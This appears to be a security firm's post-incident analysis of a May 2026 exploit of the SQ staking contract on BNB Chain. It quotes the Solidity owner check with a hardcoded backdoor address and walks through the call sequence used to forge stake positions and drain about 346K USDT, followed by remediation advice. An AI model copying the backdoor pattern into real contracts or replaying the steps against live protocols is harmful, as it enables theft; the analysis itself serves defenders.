SQ Token Staking Drain via Hardcoded Owner Backdoor
2026-05-12 · Loss: ~346,137.03 USDT (~$346.1K) · Access ControlOn May 12, 2026 at 10:11:11 UTC, the 2026-5-12 00:0:17 Author: www.darknavy.org(查看原文) 阅读量:0 收藏

2026-05-12 · Loss: ~346,137.03 USDT (~$346.1K) · Access Control

On May 12, 2026 at 10:11:11 UTC, the SQ protocol on BNB Chain was exploited for 346,137.034345 USDT after the attacker abused a hardcoded owner backdoor in the verified Staking contract at 0x404404a845fff0201f3a4d419b4839fc419c99f7. The attacker sent a type-0x4 transaction with an authorizationList entry that delegated their EOA to helper code at 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d, letting the entire exploit execute as the attacker EOA while still batching many calls in one transaction. Once inside Staking, the attacker used the embedded owner bypass to take ownership, set stakeDays to zero, mint 388,100 fake SQ Token staking claims to themselves with stakeOwner(), redeem ten of those claims immediately through repeated unstake() calls for 296,500 USDT, then sweep 2,000,039.407501 SQi from the staking contract and dump it into the SQi/USDT Pancake pair for another 49,637.034345 USDT. The total realized proceeds match the TenArmor alert at approximately $346.1K.

Root Cause

Vulnerable Contract

  • Name: Staking
  • Address: 0x404404a845fff0201f3a4d419b4839fc419c99f7
  • Chain: BNB Chain
  • Source type: Verified source, Solidity 0.8.24
  • Related token: SQi at 0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9
  • Drained pair: PancakeSwap V2 SQi/USDT pair 0x56b681876b7a6df313e34ad4efc74146a75ea51e

Vulnerable Functions

  • Owner gate: _checkOwner() in the inherited Ownable implementation
  • Admin reconfiguration: setUintArray(uint8,uint256[])
  • Privileged mint path: stakeOwner(address,uint160,uint40)
  • Privileged token sweep: withdrawalTokens(address,address,uint256)
  • Redeem path used for draining: unstake(uint256)

Vulnerable Code

The core backdoor is in the owner check itself:

function _checkOwner() internal view virtual {
    if (owner() != _msgSender() && _msgSender() != 0xE746c9043Aa0106853c5e4380A9A307Fe385378e) {
        revert OwnableUnauthorizedAccount(_msgSender());
    }
}

That hardcoded exception grants onlyOwner access to the attacker EOA regardless of the stored owner.

The attacker then used the newly acquired privileges to disable the staking lock and forge positions:

function setUintArray(uint8 _type, uint256[] calldata _values) external onlyOwner {
    if (_type == 1) stakeDays = _values;
}

function stakeOwner(address _user, uint160 _amount, uint40 _time) external onlyOwner {
    if (!IReferral(conf.referral()).isBindReferral(_user))
        revert("Please bind your superior first");
    uint8 _stakeIndex = 0;
    mint(_user, _amount, _stakeIndex, _time);
}

Immediate redemption and the final sweep happened through these paths:

function unstake(uint256 index) external onlyEOA returns (uint256) {
    if (userStakeRecord[msg.sender].length < index + 2)
        revert("Insufficient stake count");

    (uint256 reward, uint256 stake_amount) = burn(index);
    ...
    V2Router.swapTokensForExactTokens(reward, tokenBefore, path, address(this), block.timestamp + 60);
    ...
    USDT.safeTransfer(msg.sender, _value);
    IToken(conf.token()).recycle(amount_token);
    return reward;
}

function withdrawalTokens(address _token, address _recipient, uint256 _amount) external onlyOwner {
    if (IERC20(_token).balanceOf(address(this)) < _amount)
        revert InsufficientBalance();
    IERC20(_token).safeTransfer(_recipient, _amount);
}

And the token-side recycle() hook used by unstake() replenishes the staking contract by pulling SQi out of the AMM pair and synchronizing reserves:

function recycle(uint256 amount) external {
    require(STAKING == msg.sender, "cycle");
    uint256 maxBurn = super.balanceOf(_uniswapV2Pair) / 3;
    uint256 burn_amount = amount >= maxBurn ? maxBurn : amount;
    super._transfer(_uniswapV2Pair, STAKING, burn_amount);
    IUniswapV2Pair(_uniswapV2Pair).sync();
}

Why It Is Vulnerable

This exploit is fundamentally an access-control failure:

  1. Staking embeds the attacker EOA directly in _checkOwner(), so onlyOwner functions are never actually restricted from that address.
  2. The attacker first called transferOwnership(attacker) even though the stored owner had already been set to the dead address, proving the backdoor was sufficient to resurrect admin control.
  3. The attacker then called setUintArray(1, [0]), changing stakeDays[0] from 30 days to 0, so newly forged positions were immediately redeemable.
  4. With stakeOwner(), the attacker minted arbitrary synthetic SQ Token balances to themselves without depositing any USDT.
  5. unstake() converts SQi inventory held by the staking contract into USDT via the Pancake router, pays that USDT to msg.sender, and then invokes SQi.recycle() to pull more SQi from the SQi/USDT pair back into staking. That makes repeated fake redemptions an effective drain on the pair.
  6. Finally, withdrawalTokens() let the attacker sweep the remaining SQi balance from staking and sell it for a last tranche of USDT.

The EIP-7702 wrapper was an execution detail, not the root cause. It let the attacker batch the exploit as a single self-call while preserving the attacker EOA as msg.sender, which also satisfied the contract’s onlyEOA checks on unstake().

Attack Execution

High-Level Flow

  1. The attacker EOA 0xe746c9043aa0106853c5e4380a9a307fe385378e submitted a type-0x4 transaction with an authorization entry for 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d.
  2. The delegated helper called Staking.transferOwnership(attacker) and made the attacker the stored owner.
  3. The attacker approved SQi to the Pancake router, bound a referral, and called setUintArray(1, [0]) so stakeDays[0] = 0.
  4. The attacker forged 12 admin positions for themselves via stakeOwner() with the following amounts: 90,000; 90,000; 70,000; 55,000; 42,000; 14,000; 9,000; 7,500; 4,000; 3,000; 2,000; and 100 SQ Token.
  5. All forged positions used the backdated timestamp 1760134760 (2025-10-10T22:19:20Z), although the zero-day lock already made them instantly redeemable.
  6. The attacker redeemed indices 1 through 10 via ten unstake() calls, receiving a total of 296,500 USDT.
  7. After the last unstake, the attacker queried the staking contract’s SQi balance, called withdrawalTokens(SQi, attacker, 2,000,039.407501425169722546), and then sold that entire SQi balance through PancakeSwap for 49,637.034345014454603094 USDT.
  8. The attacker finished the transaction with 346,137.034345014454603094 USDT, 0.001 SQi dust, and 90,100 residual synthetic SQ Token claims that were not included in the realized USD loss figure.

Detailed Mechanics

The first ten cash-out operations came directly from unstake():

Unstake callForged position redeemedUSDT received
unstake(1)90,00090,000
unstake(2)70,00070,000
unstake(3)55,00055,000
unstake(4)42,00042,000
unstake(5)14,00014,000
unstake(6)9,0009,000
unstake(7)7,5007,500
unstake(8)4,0004,000
unstake(9)3,0003,000
unstake(10)2,0002,000
Subtotal296,500 USDT

After those redemptions, the staking contract still held 2,000,039.407501 SQi. The attacker swept that balance with withdrawalTokens() and immediately sold it through PancakeSwap, extracting another 49,637.034345 USDT.

The two untouched forged entries were index 0 (90,000 SQ Token) and index 11 (100 SQ Token), which is why the attacker retained a net synthetic balance of 90,100 SQ Token at the end of the transaction.

Financial Impact

Primary evidence source: funds_flow.json plus receipt Transfer logs.

Realized Proceeds

SourceAmount
Ten direct unstake() redemptions296,500 USDT
Final sale of swept SQi49,637.034345014454603094 USDT
Total realized proceeds346,137.034345014454603094 USDT

This aligns with the public alert of approximately $346.1K.

Notable Residual Balances

AssetAmountNotes
Synthetic SQ Token90,100Unburned internal staking claims left at indices 0 and 11; not counted in realized USD loss
SQi0.001Dust left after the final PancakeSwap dump

Balance-Change Highlights

AddressAssetNet change
Attacker EOA 0xe746...378eUSDT+346,137.034345014454603094
Attacker EOA 0xe746...378eSQ Token+90,100
Staking 0x4044...99f7SQi-2,000,039.407501425169722546
Pancake SQi/USDT pair 0x56b6...a51eUSDT-346,137.034345014454603094
Pancake SQi/USDT pair 0x56b6...a51eSQi+1,767,814.830896434693266066

Evidence

  • Transaction: 0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8
  • Block: 97836948
  • Timestamp: 2026-05-12T10:11:11Z
  • Status: Success
  • Gas used: 5,390,207
  • Attacker EOA: 0xe746c9043aa0106853c5e4380a9a307fe385378e
  • EIP-7702 delegate target: 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d
  • Vulnerable staking contract: 0x404404a845fff0201f3a4d419b4839fc419c99f7
  • Token sold for proceeds: SQi 0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9
  • Drained AMM pair: 0x56b681876b7a6df313e34ad4efc74146a75ea51e

Selector evidence:

SelectorSignatureRole in exploit
0xf2fde38btransferOwnership(address)Reinstated stored ownership from dead address to attacker
0x9a94d99esetUintArray(uint8,uint256[])Changed stakeDays to [0]
0xce071b6bstakeOwner(address,uint160,uint40)Minted forged admin stake positions
0x2e17de78unstake(uint256)Redeemed forged positions for USDT
0xdd1c35bcrecycle(uint256)Pulled SQi from the pair back into staking after each unstake
0x79412da6withdrawalTokens(address,address,uint256)Swept remaining SQi from staking
0x5c11d795swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)Final SQi -> USDT dump through Pancake router
  1. Remove the hardcoded address exception from _checkOwner() and redeploy or migrate to a clean ownership model.
  2. Audit every privileged path reachable from onlyOwner, especially stakeOwner(), setUintArray(), and withdrawalTokens(), because any ownership compromise currently becomes a full-funds compromise.
  3. Prohibit owner-controlled changes that can make existing stake positions instantly redeemable, or gate those changes behind a timelock and emergency review process.
  4. Revisit SQi.recycle() so a staking contract cannot pull inventory out of the AMM pair as part of a redemption flow.
  5. Add monitoring for type-0x4 / EIP-7702 transactions that target privileged protocol entrypoints, since those wrappers can preserve EOA semantics while batching exploit logic.

Artifacts

  • analysis_plan.json: planner output and contract list
  • trace_callTracer.json: full call trace
  • tx.json and receipt.json: transaction metadata and logs
  • funds_flow.json: decoded transfer flows and net balances
  • decoded_calls.json and selectors.json: decoded call tree and selector map
  • 0x404404a845fff0201f3a4d419b4839fc419c99f7/0x404404a845fff0201f3a4d419b4839fc419c99f7.sol: verified staking source
  • 0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9/SQ/SQi.sol: verified SQi source

文章来源: https://www.darknavy.org/web3/exploits/sq-token-staking-owner-backdoor-drain/
如有侵权请联系:admin#unsafe.sh